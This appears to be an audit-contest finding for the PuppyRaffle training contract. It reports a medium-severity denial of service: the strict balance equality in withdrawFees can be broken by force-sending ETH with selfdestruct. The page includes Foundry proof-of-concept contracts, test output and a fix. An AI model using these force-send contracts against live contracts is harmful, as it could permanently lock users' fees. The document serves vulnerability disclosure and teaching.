Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Strict Equality On Fund Balance Can Cause DOS

yum_cutty

Root + Impact

Description

PuppyRaffle::withdrawFees function allows anyone to calls to extract the fees, and have it sent to the feeAddress

function withdrawFees() external {
@>>> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

however, i notice that there's a strict checks on the contract balance. the issue is that it is possible to forcibly send ETH to the contract even if there's no receive or fallback for that contract

Risk

Likelihood: High

  • anyone can force send ETH to PuppyRaffle contract and triggers the bug

Impact: High

  • because the withdrawFees involves a strict equality on the contract balance, an attacker can forcibly send ETH to this contract, resulting this function un-callable

Proof of Concept

PoC below demonstrate how an attacker can forcibly send ETH to the contract, causing the withdrawFees function un-callable for the rest of the time

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract PuppyRaffleTest is Test {
​
PuppyRaffle puppyRaffle;
​
uint256 entranceFee = 1e18;
address feeAddress = address(99);
uint256 duration = 1 days;
​
function setUp() public {
puppyRaffle = new PuppyRaffle(
entranceFee,
feeAddress,
duration
);
deal(address(this), 1000000000 ether);
}
​
function test_strictEquality_cause_DOS_in_withdrawFees() public {
// prepare participants
address[] memory participants = new address[](4);
participants[0] = address(1);
participants[1] = address(2);
participants[2] = address(3);
participants[3] = address(4);
​
// participants enter raffle
puppyRaffle.enterRaffle{value: entranceFee * participants.length}(participants);
​
// fast forward time to after raffle duration
vm.warp(block.timestamp + duration + 1 seconds);
​
// select winner to accumulate fees
puppyRaffle.selectWinner();
​
// force send ETH to the contract to break strict equality in withdrawFees
new ForceSendETH{value: 1 wei}(
payable(address(puppyRaffle))
);
​
// now the withdrawFees will fail due to strict equality check
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}
​
}
​
contract ForceSendETH {
constructor(address payable _to) payable {
// selfdestruct allows anyone to send ETH to anywhere, regardless of the condition like missing both receive/fallback
selfdestruct(_to);
}
}

create a new test file, paste the above PoC into the newly created test file, and run it.

Recommended Mitigation

consider removing the strict equality checks and allows fee withdrawal at anytime

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!